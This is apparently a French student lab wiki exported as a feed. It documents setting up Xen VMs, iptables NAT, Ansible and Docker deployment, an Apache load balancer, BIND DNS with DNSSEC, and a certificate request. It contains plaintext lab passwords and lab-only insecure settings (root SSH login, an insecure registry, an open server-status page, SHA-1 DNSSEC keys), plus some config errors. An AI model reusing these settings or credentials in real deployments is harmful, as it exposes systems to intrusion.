Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.&lt;br /&gt;
&lt;br /&gt;
===Inspection ARP par un élément réseau===&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation WiFi par WPA2-EAP===&lt;br /&gt;
&lt;br /&gt;
== TP ASR ==&lt;br /&gt;
&lt;br /&gt;
=== Architecture de la ferme ===&lt;br /&gt;
&lt;br /&gt;
Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.  &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1 par rapport à notre autre interface. &lt;br /&gt;
&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ] &lt;br /&gt;
&lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface                                                                                                                              &lt;br /&gt;
 auto eth0                                                                                                                                                    &lt;br /&gt;
 iface eth0 inet static                                                                                                                                        &lt;br /&gt;
 address 193.48.57.184                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.255                                                                                                                                      &lt;br /&gt;
 up ip address add dev eth0 100.64.0.24/24                                                                                                                    &lt;br /&gt;
 up ip route add default via 100.64.0.2 src 193.48.57.184                                                                                                     &lt;br /&gt;
 down ip address del dev eth0 100.64.0.24/24                                                                                                                  &lt;br /&gt;
 down ip route del default via 100.64.0.2 src 193.48.57.184                                                                                                                                                                                                                                                               &lt;br /&gt;
 &lt;br /&gt;
 # The secondary network interface                                                                                                                            &lt;br /&gt;
 auto eth1                                                                                                                                                    &lt;br /&gt;
 iface eth1 inet static                                                                                                                                        &lt;br /&gt;
 address 192.168.42.19                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.0 &lt;br /&gt;
&lt;br /&gt;
Nous avons mis en place notre propre mascarade avec les commandes suivantes :&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184&lt;br /&gt;
Ce qui permet à nos paquets en provenance de 192.168.45.5 (machine sur chassiron) de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder a des &amp;quot;apt install&amp;quot; et ne plus être considérer comme des hackeur russes malveillants.&lt;br /&gt;
&lt;br /&gt;
Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier &amp;quot;/etc/sysctl.conf&amp;quot; pour activer l'ip forwarding pour les paquets IPV4.&lt;br /&gt;
&lt;br /&gt;
A la fin de cette partie nous sommes capables de ping les machines entre elles.&lt;br /&gt;
 &lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0                                                                                                               &lt;br /&gt;
 iface eth0 inet static                                                                                                    &lt;br /&gt;
 address 192.168.42.5/24                                                                                                 &lt;br /&gt;
 gateway 192.168.42.19 &lt;br /&gt;
&lt;br /&gt;
Nous avons également modifié notre fichier /etc/resolv.conf :&lt;br /&gt;
 domain plil.info                                                                                                        &lt;br /&gt;
 search plil.info plil.fr                                                                                                &lt;br /&gt;
 nameserver 192.168.42.19&lt;br /&gt;
&lt;br /&gt;
Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d.&lt;br /&gt;
&lt;br /&gt;
Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école. A la fin de cette partie la machine sur chassiron est capable de ping google.&lt;br /&gt;
&lt;br /&gt;
'''Clés SSH'''&lt;br /&gt;
&lt;br /&gt;
Génération d’une paire de clef asymétrique :&lt;br /&gt;
 ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Ces clés sont stocké coté capbreton dans le dossier /.ssh&lt;br /&gt;
&lt;br /&gt;
Par la suite nous installons la clef publique sur nos cibles (les machines sur chassiron) :&lt;br /&gt;
 cat .ssh/id_rsa.pub | ssh 192.168.42.5 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
Cette manipulation est cruciale pour ansible, sans cette dernière ansible ne peut fonctionner correctement&lt;br /&gt;
&lt;br /&gt;
'''Installation d'Ansible'''&lt;br /&gt;
&lt;br /&gt;
Installation via la commande :&lt;br /&gt;
 apt install ansible&lt;br /&gt;
&lt;br /&gt;
L'étape suivante consiste à créer un inventaire hosts dans /etc/ansible :&lt;br /&gt;
 [webserver]                                                                                                             &lt;br /&gt;
 192.168.42.5                                                                                                                                                                                                                                    &lt;br /&gt;
 &lt;br /&gt;
 [webservers]                                                                                                            &lt;br /&gt;
 192.168.42.5                                                                                                            &lt;br /&gt;
 192.168.42.2                                                                                                            &lt;br /&gt;
 192.168.42.4                                                                                                            &lt;br /&gt;
 192.168.42.7                                                                                                            &lt;br /&gt;
 192.168.42.9                                                                                                            &lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
Ce fichier répertorie nos différentes cibles en séparent webserver qui est une cible ne contenant que notre machine virtuelle secondaire et webservers qui contient l'ensemble des machines virtuelles du groupe 2. Nous pouvons effectuer une première vérification grâce à la commande ansible : &lt;br /&gt;
 ansible webserver -a &amp;quot;lsb_release -d&amp;quot;&lt;br /&gt;
&lt;br /&gt;
L'étape suivant consiste à tester ansible.&lt;br /&gt;
Pour ce faire nous créons un role basic qui contient la tache main.yml, voici son contenu :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed                                                                                           &lt;br /&gt;
 apt:                                                                                                                            &lt;br /&gt;
        update_cache: yes                                                                                                       &lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;                                                                                         &lt;br /&gt;
 vars:                                                                                                                           &lt;br /&gt;
        packages:                                                                                                                       &lt;br /&gt;
                - ntp                                                                                                                   &lt;br /&gt;
                - python3                                                                                                               &lt;br /&gt;
                - python3-pip                                                                                                                                                                                                                 &lt;br /&gt;
 &lt;br /&gt;
 - name: docker                                                                                                            &lt;br /&gt;
 pip:                                                                                                                            &lt;br /&gt;
         name: docker                                                                                                                                                                                                                          &lt;br /&gt;
 &lt;br /&gt;
 - name: maj ntp                                                                                                           &lt;br /&gt;
 copy:                                                                                                                           &lt;br /&gt;
         src: &amp;quot;/etc/ntp.conf&amp;quot;                                                                                                    &lt;br /&gt;
         dest: &amp;quot;/etc/ntp.conf&amp;quot;                                                                                                   &lt;br /&gt;
         owner: root                                                                                                             &lt;br /&gt;
         group: root                                                                                                             &lt;br /&gt;
         mode: '0644'&lt;br /&gt;
                                                                                                                                                                                                                           &lt;br /&gt;
 - name: maj motd                                                                                                          &lt;br /&gt;
 copy:                                                                                                                           &lt;br /&gt;
         src: &amp;quot;/etc/motd&amp;quot;                                                                                                        &lt;br /&gt;
         dest: &amp;quot;/etc/motd&amp;quot;                                                                                                       &lt;br /&gt;
         owner: root                                                                                                             &lt;br /&gt;
         group: root                                                                                                             &lt;br /&gt;
         mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce role s'assure qui les packages ntp, python3, python3-pip et docker son bien installé et met à jour ntp et motd en copiant leurs configurations qui est présente sur notre machine virtuelle de capbreton. La modification est bien prise en compte est peut être vérifier en se connectant en ssh sur notre machine de chassiron via la commande ssh root@192.168.42.5&lt;br /&gt;
&lt;br /&gt;
=== Installation de docker ===&lt;br /&gt;
&lt;br /&gt;
Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed&lt;br /&gt;
   apt:&lt;br /&gt;
        update_cache: yes&lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
        packages:&lt;br /&gt;
                - python3&lt;br /&gt;
                - python3-pip&lt;br /&gt;
&lt;br /&gt;
Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible (récupérer sur ansible galaxy).&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé notre playbook pour déployer nos commandes :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webserver&lt;br /&gt;
   roles:&lt;br /&gt;
          - basic&lt;br /&gt;
          - geerlingguy.docker&lt;br /&gt;
   vars:&lt;br /&gt;
         docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
         docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Création de notre conteneur ===&lt;br /&gt;
&lt;br /&gt;
Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY . /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [&amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé l'image du Dockerfile :&lt;br /&gt;
 docker build -t web .&lt;br /&gt;
&lt;br /&gt;
Puis nous avons lancé notre container&lt;br /&gt;
 docker run -d -p &amp;quot;8085:80&amp;quot; --name web web&lt;br /&gt;
&lt;br /&gt;
Plusieurs commandes nous permettent de vérifier le bon fonctionnement : &lt;br /&gt;
 docker images (Affichage des différentes images docker installées)&lt;br /&gt;
 docker ps -a (Affichage des différents containeur en cours d'exécution)&lt;br /&gt;
&lt;br /&gt;
Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :&lt;br /&gt;
 curl 193.48.57.184:8085&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire (après avoir préalablement installer la collection via la commande : ansible-galaxy collection install community.general) :&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Après cela nous avons voulu push notre image &amp;quot;web&amp;quot; vers notre dépôt mais une erreur est survenue, celle-ci vient du fait qu'il fallait rajouter le fichier daemon.json dans le dossier &amp;quot;/etc/docker/&amp;quot; afin de ne pas utiliser une connexion sécurisée.&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
       &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.5:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier modifié nous avons pu utiliser les commandes :&lt;br /&gt;
 docker tag web 192.168.42.5:5000/webserver&lt;br /&gt;
 docker push 192.168.42.5:5000/webserver&lt;br /&gt;
&lt;br /&gt;
Puis coté chassiron : &lt;br /&gt;
 docker pull 192.168.42.5:5000/webserver&lt;br /&gt;
&lt;br /&gt;
=== Configuration de nos serveurs internes ===&lt;br /&gt;
&lt;br /&gt;
Pour voir déployer nos containeurs sur tous les serveurs disponibles sur chassirons nous avons d'abord créé notre role &amp;quot;new_container&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
 - name: Create a container&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: amanite_container&lt;br /&gt;
          image: 192.168.42.5:5000/webserver_amanite&lt;br /&gt;
          ports:&lt;br /&gt;
                  - &amp;quot;8085:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Ce role permet (après avoir push sur le registry de notre seconde machine virtuelle), d'installer l'image webserver_amanite sur l'ensemble des machine qui sont dans l'hote webservers.&lt;br /&gt;
Sur ces machines virtuelles, il faut également rajouter au fichier daemon.json (dans le dossier /etc/docker) l'ensemble des repository non sécurisés (afin d'y prendre les images).&lt;br /&gt;
&lt;br /&gt;
Puis nous avons déployé notre container grâce à notre playbook :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webservers&lt;br /&gt;
   roles:&lt;br /&gt;
          - new_container&lt;br /&gt;
&lt;br /&gt;
=== Equilibreur de charge ===&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants (pour l'ensemble de nos étapes) :&lt;br /&gt;
&lt;br /&gt;
 a2enmod proxy&lt;br /&gt;
 a2enmod proxy_http&lt;br /&gt;
 a2enmod proxy_balancer&lt;br /&gt;
 a2enmod lbmethod_byrequests&lt;br /&gt;
&lt;br /&gt;
Pour notre première partie nous avons modifier notre fichier amanite.site.db (qui se situe dans /etc/bind/zones) et nous y avons rajouter la ligne :&lt;br /&gt;
 reverse IN      CNAME   www&lt;br /&gt;
(Nous n'oublions pas d'incrémenter le numéro de version, de signer la zones pour DNSSEC ainsi que redémarrer le service bind9).&lt;br /&gt;
&lt;br /&gt;
Par la suite nous avons rajouter un site dans /etc/apache2/site-available que nous nommons reverse.conf :&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;                                                                                                              &lt;br /&gt;
         ServerName reverse.amanite.site    &lt;br /&gt;
         ServerAdmin lolopierro                                                                                                                                                                                               &lt;br /&gt;
         ProxyPass / http://192.168.42.5:8085                                                                                      &lt;br /&gt;
         ProxyPassReverse / http://192.168.42.5:8085                                                                                                                                                                          &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Que nous ajoutons à nos sites enable via la commande : a2ensite reverse.conf, puis nous redémarrons le service apache2.&lt;br /&gt;
Après cette étape notre site est accessible via l'URL reverse.amanite.conf (qui est pour le moment accessible via notre seule machine virtuelle secondaire sur chassiron).&lt;br /&gt;
&lt;br /&gt;
Dans un second temps nous avons modifié notre fichier de configuration reverse.conf afin d'y rajouter de l'équilibrage de charge :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
         ServerName reverse.amanite.site&lt;br /&gt;
         ServerAdmin lolopierro&lt;br /&gt;
         &amp;lt;Proxy &amp;quot;balancer://mycluster&amp;quot;&amp;gt;&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.5:8085&amp;quot; route=1&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.2:8085&amp;quot; route=2&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.4:8085&amp;quot; route=3&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.7:8085&amp;quot; route=4&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.9:8085&amp;quot; route=5&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.12:8085&amp;quot; route=6&lt;br /&gt;
                 ProxySet lbmethod=byrequests&lt;br /&gt;
         &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
         ProxyPass / balancer://mycluster/&lt;br /&gt;
         ProxyPassReverse / balancer://mycluster/&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier notre loadbalancing nous avons modifié notre page index.html, puis nous avons build notre nouvelle image docker contenant cette page html, nous l'avons push sur le registry et pull depuis notre machine amanite sur Chassiron. Nous avons ensuite relancé notre playbook nous permettant de déployer cette image sur toutes les machines secondaires virtuelles, mais seul notre machine amanite (car nous avons pull sur cette machine) et les machines n'ayant pas eu le déploiement avant on été actualisé. Cela nous permet de bien vérifier notre loadbalancing.&lt;br /&gt;
&lt;br /&gt;
Une deuxième méthode pour vérifier celui-ci est l'ajout du module status sur apache :&lt;br /&gt;
&lt;br /&gt;
 a2enmod status&lt;br /&gt;
&lt;br /&gt;
Puis nous avons modifié notre fichier de configuration reverse.conf en y ajoutant les lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Location &amp;quot;/server-status&amp;quot;&amp;gt;&lt;br /&gt;
          SetHanlder server-status&lt;br /&gt;
          Order Allow,Deny&lt;br /&gt;
          Allow from all&lt;br /&gt;
 &amp;lt;/Location&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Malheureusement nous n'arrivons pas à accéder à la page reverse.amanite.site/server-status malgré les différentes recherches effectuées.&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55082</id>
		<title>TP sysres IMA5sc 2020/2021 G5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=55082"/>
				<updated>2020-12-20T15:01:57Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : /* Cassage de mot de passe WPA2-PSK par force brute */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
| 255.255.255.0&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh :&lt;br /&gt;
&lt;br /&gt;
ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Création de la VM Xen :&lt;br /&gt;
&lt;br /&gt;
&amp;gt; su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)&lt;br /&gt;
&lt;br /&gt;
&amp;gt; xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster &lt;br /&gt;
&lt;br /&gt;
Résultat de la commande :&lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  amanite&lt;br /&gt;
 Distribution   :  buster&lt;br /&gt;
 Mirror         :  http://deb.debian.org/debian&lt;br /&gt;
 Partitions     :  swap            512M  (swap)&lt;br /&gt;
                  /               4G    (ext4)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  256M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-4.19.0-9-amd64&lt;br /&gt;
&lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]&lt;br /&gt;
 Netmask        : 255.255.255.0&lt;br /&gt;
 Gateway        : 100.64.0.5&lt;br /&gt;
&lt;br /&gt;
===Configuration des LV===&lt;br /&gt;
&lt;br /&gt;
Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite1&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite2&lt;br /&gt;
&lt;br /&gt;
Nous avons par la suite modifié le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :&lt;br /&gt;
&lt;br /&gt;
Dans la fonction Disk Device(s) :&lt;br /&gt;
 disk = [&lt;br /&gt;
 ...&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez1,xvdav3,w'&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez2,xvdav4,w'&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
Puis dans Networking :&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ...']&lt;br /&gt;
&lt;br /&gt;
===Création et configuration de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Lorsque nous nous sommes connectés en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
*Commandes utiles&lt;br /&gt;
** Affichage de l'ensemble des VM présente sur capbreton : xl list&lt;br /&gt;
** Se connecter à la VM : xen console amanite&lt;br /&gt;
 Identifiant de la machine : root&lt;br /&gt;
 Mdp de la machine : pasglop&lt;br /&gt;
&lt;br /&gt;
'''Suite de la configuration'''&lt;br /&gt;
&lt;br /&gt;
Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4  à l'aide des commandes : &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda3 &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 root@amanite:~# mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mv /var/* /mnt/xvda4.&lt;br /&gt;
&lt;br /&gt;
Puis nous démontons (umount) nos deux volumes.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite /ect/fstab en ajoutant :&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis nous les montons à l'aide de la commande : &lt;br /&gt;
 mount -a &lt;br /&gt;
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage : &lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk /var&lt;br /&gt;
&lt;br /&gt;
==Service Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
Installation d'un serveur ssh, accessible grâce à la commande :&lt;br /&gt;
 ssh root@amanite.site&lt;br /&gt;
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine sur gandi.net :&lt;br /&gt;
 amanite.site&lt;br /&gt;
Nous avons ensuite installé le package bind9.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/zones/amanite.site.db :&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (&lt;br /&gt;
                              6         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.amanite.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	 IN 	 MX	 42 ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.184&lt;br /&gt;
 www     IN      A       193.48.57.184&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/name.conf.options&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
 	directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 	dnssec-validation auto;&lt;br /&gt;
 	listen-on-v6 { any; };&lt;br /&gt;
 	allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;;};&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
     217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net nous lions ns1.amanite.site à 193.48.57.184 grâce à l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.&lt;br /&gt;
 ns1.amanite.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :&lt;br /&gt;
 host -t any ns1.amanite.site localhost&lt;br /&gt;
 host -t any ns1.amanite.site&lt;br /&gt;
&lt;br /&gt;
ou se servir de nslookup.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.&lt;br /&gt;
Cette ligne de commande nous permet de lancer la procédure de création :&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:amanite.site&lt;br /&gt;
 Email Address []:admin@amanite.site&lt;br /&gt;
 &lt;br /&gt;
 Please enter the following 'extra' attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:glopglop&lt;br /&gt;
 An optional company name []:&lt;br /&gt;
&lt;br /&gt;
Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name &amp;quot;amanite.site&amp;quot;.&lt;br /&gt;
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. &lt;br /&gt;
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site&lt;br /&gt;
Puis la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site&lt;br /&gt;
